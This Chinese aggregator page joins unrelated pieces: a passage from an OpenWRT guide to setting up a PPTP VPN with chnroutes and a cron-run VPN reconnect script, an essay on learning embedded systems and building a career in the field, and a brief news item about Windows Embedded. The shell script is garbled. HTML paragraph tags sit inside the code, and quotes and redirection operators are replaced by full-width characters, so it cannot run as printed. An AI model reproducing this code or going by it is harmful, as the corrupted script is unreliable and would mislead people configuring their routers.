  root@FC_R0:/etc/config# route -n | head -n 10

  Kernel IP routing table

  Destination Gateway Genmask Flags Metric Ref Use Iface

  0.0.0.0 10.7.0.1 0.0.0.0 UG 0 0 0 pptp-vpn

  1.0.1.0 58.111.43.1 255.255.255.0 UG 0 0 0 pppoe-wan

  1.0.2.0 58.111.43.1 255.255.254.0 UG 0 0 0 pppoe-wan

  1.0.8.0 58.111.43.1 255.255.248.0 UG 0 0 0 pppoe-wan

  1.0.32.0 58.111.43.1 255.255.224.0 UG 0 0 0 pppoe-wan

  1.1.0.0 58.111.43.1 255.255.255.0 UG 0 0 0 pppoe-wan

  1.1.2.0 58.111.43.1 255.255.254.0 UG 0 0 0 pppoe-wan

  1.1.4.0 58.111.43.1 255.255.252.0 UG 0 0 0 pppoe-wan

  其中 Destination 为 0.0.0.0 的是默认路由,网关为 VPN 网关,意味着默认流量都经过 VPN,而以下的条目则把目的为国内的网段都指向了 ISP 提供的网关。

  至此 PPTP VPN 和 chnroutes 已经配置完毕。

  6.配置 VPN 断线自动重连

  a.创建 /etc/config/pptp-vpn/status-check.sh:

  vim /etc/config/pptp-vpn/status-check.sh

  在 vim 中粘贴以下内容(此脚本检测 VPN 连接状态,并在断线后会断开 WAN 和 VPN 接口,10秒后重新连接 WAN,并在 30 秒后重连 VPN):

  代码如下:

  #!/bin/sh《/p》 《p》if [ -f “/tmp/vpn_status_check.lock” ]

  then

  exit 0

  fi《/p》 《p》VPN_CONN=`ifconfig | grep pptp-vpn`《/p》 《p》if [ -z “$VPN_CONN” ]

  then

  touch /tmp/vpn_status_check.lock

  echo WAN_VPN_RECONNECT at: 》》 /tmp/vpn_status_check_reconn.log

  date 》》 /tmp/vpn_status_check_reconn.log《/p》 《p》 ifdown vpn

  ifdown wan

  sleep 10

  ifup wan

  sleep 30

  ifdown vpn

  sleep 10

  ifup vpn

  sleep 40

  rm /tmp/vpn_status_check.lock《/p》 《p》else

  date 》 /tmp/vpn_status_check.log

  fi

  执行以下命令,设置权限为可执行:

  chmod a+x /etc/config/pptp-vpn/status-check.sh

  b.进入LuCI 的 System -》 Scheduled Tasks 填入以下内容,并保存:

  */1 * * * * /etc/config/pptp-vpn/status-check.sh

  以上实际上是编辑了 cron 配置,cron 每分钟运行检测 / 重连脚本,重启 cron:

  /etc/init.d/cron restart

  c.静待几分钟,查看 /tmp 目录,应该能看到 vpn_oldgw 和 vpn_status_check.log 文件,查看 vpn_status_check.log 文件,可以看到最近一次检测 VPN 连接状态的时间。

  代码如下:

  root@FC_R0:/tmp# ls vpn*

  vpn_oldgw vpn_status_check.log

  root@FC_R0:/tmp# cat vpn_status_check.log

  Tue Jul 15 00:04:02 HKT 2014

  root@FC_R0:/tmp#

  你可以在 LuCI 中断开 VPN 接口,在接下来的4-5分钟,观察 WAN 和 VPN 的重连情况。

  d.分别 traceroute www.google.com 和 www.baidu.com ,观察第二跳的地址:

  代码如下:

  FL-MBP:~ fatlyz$ traceroute www.google.com | head -n 3

  traceroute: Warning: www.google.com has multiple addresses; using 74.125.239.115

  traceroute to www.google.com (74.125.239.115), 64 hops max, 52 byte packets

  fc_r0.lan (192.168.7.1) 2.161 ms 0.912 ms 0.895 ms

  10.7.0.1 (10.7.0.1) 193.747 ms 187.789 ms 289.744 ms

  23.92.24.2 (23.92.24.2) 259.323 ms 354.625 ms 408.535 ms

  代码如下:

  FL-MBP:~ fatlyz$ traceroute www.baidu.com | head -n 3

  traceroute to www.a.shifen.com (180.76.3.151), 64 hops max, 52 byte packets

  1 fc_r0.lan (192.168.7.1) 1.190 ms 0.984 ms 0.731 ms

  2 58.111.43.1 (58.111.43.1) 20.616 ms 38.822 ms 18.484 ms

  3 183.56.35.133 (183.56.35.133) 20.056 ms 52.353 ms 87.841 ms

  可以看出,已成功对国内外的目标地址进行了路由选择。

  至此,OpenWRT 路由的基本配置、PPTP VPN、chnroutes 和自动重连已经配置完成。

  上面就是OpenWRT 路由配置的方法介绍了,如果你要给OpenWRT 配置路由的话,不妨试试本文介绍的方法,希望对你有所帮助。

四 : 关于嵌入式的学习和职业发展

嵌入式,这是个术语。在我看来,嵌入式系统是:为了应用高度定制软件和硬件的计算机系统,满足一系列的特定应用需求。国内普遍认同的嵌入式系统定义为:以应用为中心,以计算机技术为基础,软硬件可裁剪,适应应用系统对功能、可靠性、成本、体积、功耗等严格要求的专用计算机系统。

IEEE(国际电气和电子工程师协会)对嵌入式系统的定义:“用于控制、监视或者辅助操作机器和设备的装置”。原文为:Devices Used to Control,Monitor or Assist the Operation of Equipment,Machinery or Plants。(此段来自百度) 从我个人的理解,到普遍的定义,再到IEEE的权威。可以看到,嵌入式系统首先是计算机系统。我们不能忽略这个问题。既然是计算机系统,那么学习嵌入式,计算机的基本理论知识我们要不要学习呢?

比如说,编译原理、数据结构、操作系统、离散数学、计算机系统体系结构。个人认为,没学走,就学跑是非常要不得的。很多人意识不到这点。加之国内很多学校没有培养嵌入式的专业,没有相应的人才输出。很多学习嵌入式的人都是从电子类的专业,自动控制类的专业等等转过来的。这个转型也意味着理论上的巨大缺憾。

如果要问,排序算法有几种,恐怕只知道冒泡和希尔,不知道堆排序,快速排序,基数链式排序这些算法,更不知道还有内部排序和外部排序之分。查找算法只知道个基本的2分查找。对于树的查找算法一无所知。怎么说呢?也许很多从业的程序员,不乏专业水平相当优秀的,认为这些并不重要。我只能说,你命好,做这种具体的工程大于理论的东西。实际上,如果从一个嵌入式的程序员成长为系统设计者,或者更高的技术职位,要从更深的层次看问题。理论起到了非常大的支撑作用。

比如说,设计一个普通的微波炉控制系统。说实话,这个代码应该是非常简单的。但是,作为精细的设计者,不仅仅要考虑需求是否完成。还用从整个程序的空间杂度、时间杂度上去分析,并降低整个代码的复杂度。从而进一步降低软件结构、算法实现对处理器的要求,达到对成本的节约。一般来说,成本不光光是BOM成本,还包括人力成本,运营成本,开发成本,维护成本等等。

任何软件系统都要测试,然而一份代码要怎么才能比较好测试呢?这个问题并不好回答。我这里先卖个关子,回头我在另外一篇文章里详述。尤其是嵌入式代码,测试方法虽然沿用了PC机的一些做法,但是仍然有许多工程限制。做起来难度颇高。马克思说过,一切的节约可归结为时间的节约。代码结构简单,空间杂度小。那么也意味着更小的工程量,更短的测试时间,更稳定的产品质量。

如果是个理论性稍微强点的产品,汽车导航系统。地图的路径搜索算法。定位位置的搜索,以及地图的分类加载优化等等,都不是太容易就能做好的。更需要坚实的理论基础。许多刚出学校的大学生朋友们,没出校门就把相关的知识还给老师了。其实,我经常问公司新来的同事,设计算法的思路是什么?这个是从计算机的角度去考虑一个问题的解决办法。很多新人是计算机毕业的都无法完整的回答我的问题,失望之余,更想说的是:经验很重要!但是比经验更重要的是知识,比知识更重要的是方法。在理论的指导下去积累经验。减少从经验下获取知识,减少体验式学习这种状态,养成系统的认识分析问题的方法,理论联系实践的方法,实践检验真理的方法,经验必须能被理论解释的方法。

所以,这第一点建议,就是希望从事嵌入式的朋友能把计算机基础课程全部系统的学习一遍。

我们还是来看嵌入式的定义,这个定义是相对的概念。什么计算机系统不是“高度定制的软硬件计算机系统”呢?PC机。不严谨的说是这样。嵌入式在工程上有非常多的特点,相对于PC系统说,如果把PC系统看成一个完全的标准的“大嵌入式系统”,我们用大鹏鸟来形容它。那么,像“蜂鸟”这样的最小的小鸟,像“麻雀”这样的常见系统。也就不难理解了。

从技术上讲,PC系统的知识量,难度都要比一般的嵌入式高出N个数量级。但由于PC系统在计算机历史上发展得比较早。因而,其智力投入、完善性、应用的广泛性重要性是别的系统平台无法比拟的。然而,正因为发展了这么久,其平台的封装性稳定性是非常高的。操作系统级,支撑软件级,应用软件级。特别是应用软件级,一些与平台无关的软件,基本上很少涉及操作系统的知识,以及一些内部的原理。如浏览器里的Javascript开发,基本上不涉及操作系统的知识,只是受不同的浏览器的影响;又如Java,只涉及较少的系统平台的知识;就算是C/C++语言,开发应用程序,也就是一套API的应用。涉及的操作系统的东西也只是冰山一角。

由此可见,PC平台的优良封装,极大的简化了问题的复杂度,使开发者和应用者能把主要精力放在自己的业务上,提高开发效率。嵌入式领域就没有这么幸运了。其为应用的高度定制,造成了以效率,应用为优先的特点。封装层次太多必然对效率有所伤害。同时规模变大,测试变得复杂,开发周期变长,所以嵌入式的层次结构相对于PC系统,边界没那么清晰,封装考虑的问题没有那么全面。完成同样的一个工作,需要了解的内容更多,才能做得更好。

如果一定要拿嵌入式和PC系统比,个人觉得,PC系统的开发有时候比嵌入式系统还要难。由于封装的比较完善,PC开发的门槛比较低,但是做好,做精通,做全面,比嵌入式难多了。嵌入式因为一开始就要了解相当规模的东西,所以入门的门槛变得比较高。纵观这些东西,其实PC系统和嵌入式系统很大一部分都是重叠的。

所以,第二点,我推荐大家读(俞甲子 / 石凡 / 潘爱民)写得《程序员的自我修养》。这里多说两句,首先,嵌入式只是比PC开发要多了解些东西,本质上来讲并无区别,这些知识当中有一半是与具体工程相关的东西。也就是说,照着流程做,并无太多的为什么,如果硬要问为什么,其实也就是一些工程上的需求。一些嵌入式应用之间可能略有一些区别,可能有些区别还很大,但大致的流程还是相似的。有个比较好的PC开发功底,了解了这些流程,开发嵌入式应该是没什么特别的障碍的。

其次,《程序员的自我修养》这本书是针对PC平台的书中的许多东西是PC平台特有的,比如说动态加载等。但理解动态加载也会对Bootloader加载应用程序和操作系统有一个直观的比较。由于并不是针对嵌入式平台的(我没发现有专门讲嵌入式的书),所以,很多东西需要自己在嵌入式中去体会。另外书中对一些嵌入式中比较在意的问题描述的并不够详细,比如说链接脚本还有ABI。PC平台这些问题被很好的封装起来了。所以,有些问题在嵌入式领域,还需要进一步深挖。这本书作为嵌入式入门的理解是非常合适的。

嵌入式在工程领域最大的问题是软硬件同时成熟,出了问题容易踢皮球。这里就很容想到调试。嵌入式的问题定位较为复杂,尤其是牵涉到软硬件的复杂问题。首先嵌入式的调试手段较为单一。相对于PC平台,稳定性和可靠性都要打折扣。这里不仅包括调试平台的问题,也包括一些调试手段对代码的影响,诸如改变代码的运行时间,改变了代码的动态行为(频度,触发时差等)。做嵌入式对系统更加要有个全面的认识。这里包括从设计方法思路,设计目标要求,硬件的详细设计和软件的详细设计。了解的越深刻对问题的定位越有帮助。

这里就涉及到一个最大的问题,也就是刚出校门很多学生对自己的憧憬:要软件硬件都通。 这个目标向大家坦白,我也憧憬过。当我现在招聘学生的时候,甚至有些工作经验的人都说出这个目标。这个目标不是错,只是计算机软件和硬件这两大块都是非常广袤的领域,说通,目标的确有点点高了。所以在这里,我常常给同事的建议是:如果你的专业是电子类的,可以把精力主要的放在硬件上,软件只作为兼顾,学习一些C语言的基本知识,写一些小型代码,不宜把目标放在全职编程上。

如果是计算机专业的,我建议把主要精力放在软件上,学会看懂原理图,了解一些电路的大致功能就可以了。两方面往深里面去都是无底洞。全通的话,的确要些大本事的。这里只是我的建议。理由也很简单,人都是经营自己的长处,规避自己的短处。曾经有一个朋友问我嵌入式问题,想成为软硬都通的人。想给自己的职业规划一下,我大致的问他几个软件问题,比如说,算法的设计思路,排序算法的种类,搜索算法的种类,操作系统的本质,互斥多线程等等基本问题,回答毫无头绪。然而问起电路的知识,KCL,KVL,竞争冒险,运放的分析方法,信号与系统的基本知识,对答如流。这种人去主攻软件,是资源的极大的浪费。等你软件入门了,硬件方面的设计知识也忘得差不多了。然后面临事业更上一层楼的压力,软件需要学习的东西比较多,基础理论差,学什么都吃力。硬件方面缺乏调试和经验/的积累,也很难有所作为。若干年后只能做配角,精力的下降,事业上的失意,只能让自己沦为屌丝。

这里又提到项目经理,技术总监这样的技术管理职位,不是说你技术好就可以做这个职位了。首先各个公司这两种职位都是有所区别的,但一般来讲都是偏向管理的。既然是管理,不能用别人管你的时候,你得到的体验再去管别人,要学习管理理论。诸如PMBOK,CMMI,好好看看行业内优秀的工程实践,好好看看项目目标如何对齐。

这些理论知识都是指导我们实践的最有效的手段。不要寄希望自己是牛人中的牛人,可以发明新的理论。请大家看看历史,每个行业都有个开山鼻祖,那时候水平还比较低,然后发展一段时间后有一个将这个行业壮大的牛人。这个并不仅仅是因为那个牛人牛,也有因为这个行业积累到一定的时间,可以出这样的一个牛人将这个行业进一步壮大。这是事物发展的客观规律,我们必须要尊重。但在中国,技术人是一类特殊的人群,他们因为技术而傲,对于不懂技术的领导,私下缺乏应有的尊重和诚服。容易造成政令不通。项目经理,总监更应有好的技术,以便得到下属最大的认同。

所以这第三点,要综合自己的专业情况,知识背景,合理的选择自己的职业目标。在嵌入式领域找到自己的发展空间。

最后是一些杂项,我也不分类了。学习嵌入式的方法多种多样。但最好的办法,还是求助于计算机,计算机是自己的第一老师,人都是第二位的。不要指望通过牛人,你就可以变成牛人。学习知识,实际上是自己对知识建立理解的过程,不要第一时间去听大牛的讲解。首先要有自己的理解,即使是错的,我认错。再通过大牛的讲解进一步的学习,纠正调整自己,可以事半功倍。如果没有自己的思考,自己也只是个鹦鹉学舌的人,缺乏创造力和独立面对问题的能力。久而久之是非常可怕的。

不要想通过几个月培训机构的学习,就能像屌丝吃了全能丸,拿到高薪。如果真是这样,这世界里有时间有钱的人多了,他们为什么不能通过这种办法变得更有能力,拿到更高的收入?高薪背后意味着很多内涵和外延,这些内涵和外延不仅仅包括点点知识和技术,还有做事的态度方法,面对问题的坚韧……太多了。一句话,在自己想把自己变得更强,首先寻求的是能力的全方面的提升,不光光是点点技术。所以,面对这种问题一定要踏实。你要求的薪水高,公司对你的期望也高;每个公司都有特殊的东西,那不是一两天就能学会的,也不是技术能替代的。自己把调子提得那么高,要么惨淡收场,要么勉强完成任务;要么惊艳四座。自己看着办。想反,薪水提得不高不低,给自己一点点时间,企业对你的期望低,能做出点成绩,反倒容易让别人刮目相看,利于自己的长期发展。这里还是有许多学问的。自己的人生,一定要谨慎经营。

学习嵌入式一定要勤奋,编程是一种体力+脑力的活。熟能生巧,这是常识。十万行的编程量是基础。写一些复杂的算法,如A*,树等等算法;再写一些计算机图形学方面的算法,以应用软件为目标,把自己的编程量撑到十万行。这样的强度能保证自己对所用的语言有一个非常的熟练程度,也能对计算机的算法设计和数据结构有个深刻的认识,同时对操作系统的API也能略微熟悉。若能坚持这种训练到达三十万行。那么就会更加的优秀。可为进一步的行业发展,打下坚实的基础。

注:文章来自雪松‘s RTEMS,转载请注明。

五 : 微软将发布基于Windows 8的嵌入式系统

微软今天公布了其Windows Embedded产品线的最新版本,也就是基于Windows 8代码开发的Windows嵌入式系统。

微软表示这套系统将成为一个跨设备的Windows,无论是手机、电脑甚至是云系统都可以被运用,它提供了完整的Windows应用程序兼容性,并同时带来节能特性,包括ATM、电子书报亭之类的嵌入式设备都可以应用。

预计新版Windows Embedded Enterprise v.Next的发布日期比Windows 8稍晚,大约是2012年下半年,届时它将直接被Visual Studio 2010支持,为开发者提供入口。

Windows Embedded v.Next将支持新的ARM架构,而Windows Embedded Compact将持续为小型嵌入式设备提供功能强大、体验流畅的实时操作系统和一套完整的工具包。

(本文来源:cnbeta 作者:ugmbbc)

本文标题:嵌入式系统的发展趋势-嵌入式系统架构的发展趋势及比较分析|计算机技术交流°═—☆ - 迎客堂 迎客堂论坛!青年休闲社区! - powered by phpwind.net
本文地址: http://www.61k.com/1127523.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1